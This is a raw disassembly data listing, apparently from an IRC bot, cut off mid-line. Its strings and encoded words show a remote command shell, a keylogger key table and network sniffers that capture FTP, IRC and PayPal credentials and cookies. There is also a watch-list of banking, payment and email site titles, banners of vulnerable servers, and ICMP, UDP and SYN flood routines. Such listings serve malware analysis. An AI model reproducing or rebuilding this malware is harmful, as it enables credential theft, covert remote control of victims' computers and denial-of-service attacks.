sub_41036B+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o align 4 aS db '<%s>',0 ; DATA XREF: sub_41036B+2E9o ; sub_41036B+40Bo align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo aAm db 'AM',0 ; DATA XREF: sub_41036B+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_41036B+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_41036B+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41036B+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_435120 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410D6Eo aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o dword_435164 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410CB8o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0 unk_4351CC db 2Dh ; - ; DATA XREF: ___:00410E94o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_435214 db 2Dh ; - ; DATA XREF: ___:004110E6o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0 unk_435254 db 2Dh ; - ; DATA XREF: ___:0041101Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_435298 db 2Dh ; - ; DATA XREF: ___:004113A9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4352C4 db 2Dh ; - ; DATA XREF: ___:00411382o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h unk_4352F0 db 2Dh ; - ; DATA XREF: ___:00411362o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o align 4 unk_43532C db 2Dh ; - ; DATA XREF: ___:004112A1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_435358 db 2Dh ; - ; DATA XREF: sub_4113C5:loc_41140Ao db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_435384 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_41141F+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_435520 db 2Dh ; - ; DATA XREF: sub_4116D6+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_435554 db 2Dh ; - ; DATA XREF: sub_4116D6+59o ; sub_4116D6+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_43559C db 2Dh ; - ; DATA XREF: sub_411827+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_4355C4 db 2Dh ; - ; DATA XREF: sub_411827+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_435604 db 2Dh ; - ; DATA XREF: sub_411827+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_435644 db 2Dh ; - ; DATA XREF: sub_411920+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411920+8Co align 4 dword_435684 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_4119F9+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h aFailedToSta_37 db '- Failed to start client thread, error: <%d>.',0 align 10h dd 234032Dh, 6B636F73h, 3023473h aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0 align 4 dd 4000500h, 7868746Bh, 2 dup(0) dword_435848 dd 6F672D65h, 646Ch, 1Eh dup(0) ; DATA XREF: ___:0041260Fo dd 6E676953h, 6E4920h, 1Eh dup(0) aHotmail db 'Hotmail',0 dd 1Eh dup(0) aWindowsLiveMes db 'Windows Live Messenger',0 align 10h dd 1Ah dup(0) aPaypal_1 db 'PayPal',0 align 10h dd 1Eh dup(0) aStormpay db 'StormPay',0 align 4 dd 1Dh dup(0) aStormpay_comAc db 'StormPay.com, Accept Online Payments',0 align 10h dd 16h dup(0) aWorldpay db 'WorldPay',0 align 4 dd 1Dh dup(0) dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0) dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0) aTerraFotolog db 'Terra - Fotolog',0 dd 1Ch dup(0) dd 6F686159h, 216Fh, 1Eh dup(0) dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0) aBienvenidoAGma db 'Bienvenido a Gmail',0 align 4 dd 1Bh dup(0) aWelcomeToGmail db 'Welcome to Gmail',0 align 4 dd 1Bh dup(0) aDomainNameRegi db 'Domain Name Registration',0 align 4 dd 19h dup(0) dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0) aMyAccountLogin db 'My Account Login',0 align 4 dd 1Bh dup(0) aMercadolivreBr db 'MercadoLivre Brasil',0 dd 1Bh dup(0) aWellsFargoHome db 'Wells Fargo Home Page',0 align 10h dd 1Ah dup(0) aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0 dd 19h dup(0) aEbay db 'eBay',0 align 10h dd 1Eh dup(0) aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport' db 'ing goods & more at low prices',0 dd 8 dup(0) db 49h ; I db 6Eh, 69h, 63h db 69h ; i db 61h, 72h, 20h db 73h ; s db 65h, 73h, 69h db 0F3h ; ó aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor' db 'ting goods & more at low prices',0 align 4 dd 4 dup(0) dword_436448 dd 8, 62h, 62000000h, 2 dup(0) ; DATA XREF: ___:00412661o dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 41000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_436BB4 dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h ; DATA XREF: ___:0041262Do ; sub_41AF8F+EBo dd 6E727574h, 25282029h, 2973h, 252EBB2Eh, 2EAB2E73h, 65522820h dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h dd 2973h, 252EBB2Eh, 2EAB2E73h, 0 dd offset off_4374C0 dd offset off_4374BC dd offset off_4374B8 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00436C54o align 4 off_4374B8 dd offset word_505446 ; DATA XREF: ___:00436C50o off_4374BC dd offset aFailedToSta_36+25h ; DATA XREF: ___:00436C4Co off_4374C0 dd offset word_544F42 ; DATA XREF: ___:00436C48o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 4 aHashin db ':!hashin',0 ; DATA XREF: sub_412EEC+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412EEC+EEo align 10h aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EEC+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412EEC+C8o a_login db ':.Login',0 ; DATA XREF: sub_412EEC+B7o aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EEC+A6o aLogin_1 db ':!login',0 ; DATA XREF: sub_412EEC+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412EEC+84o a366 db '366 ',0 ; DATA XREF: sub_412EEC+73o align 4 a302_0 db '302 ',0 ; DATA XREF: sub_412EEC:loc_412F4Eo align 10h aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EEC+4Do align 4 aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412EEC+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EEC+2Bo align 10h aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EEC+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o aOper db 'oper ',0 ; DATA XREF: sub_413003+51o align 10h aNick_1 db 'NICK ',0 ; DATA XREF: sub_413003:loc_413043o ; sub_413079+2Bo align 4 aOper_0 db 'OPER ',0 ; DATA XREF: sub_413003+2Bo align 10h aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_413003+5o align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_413079+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_413079+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_413079:loc_4130CAo align 4 a220 db '220 ',0 ; DATA XREF: sub_413079+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413079+5o align 4 aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413100+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_413100+62o align 10h aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_413100+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413100:loc_413140o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_413100+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413100+5o align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413187+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o align 4 aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413187+2Bo align 4 aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413187+5o align 4 unk_437734 db 2Dh ; - ; DATA XREF: sub_4131EC+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_43776C db 2Dh ; - ; DATA XREF: sub_4131EC+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4377A4 db 2Dh ; - ; DATA XREF: sub_4131EC+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_4377D8 db 2Dh ; - ; DATA XREF: sub_4131EC+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_43780C db 2Dh ; - ; DATA XREF: sub_4131EC+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_437840 db 2Dh ; - ; DATA XREF: sub_4131EC+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 10h unk_437870 db 2Dh ; - ; DATA XREF: sub_4131EC+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_4378C4 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_413694+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_437AEC dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_4143F7+27Do dd 3C203A72h, 2E3E6425h, 0 dd 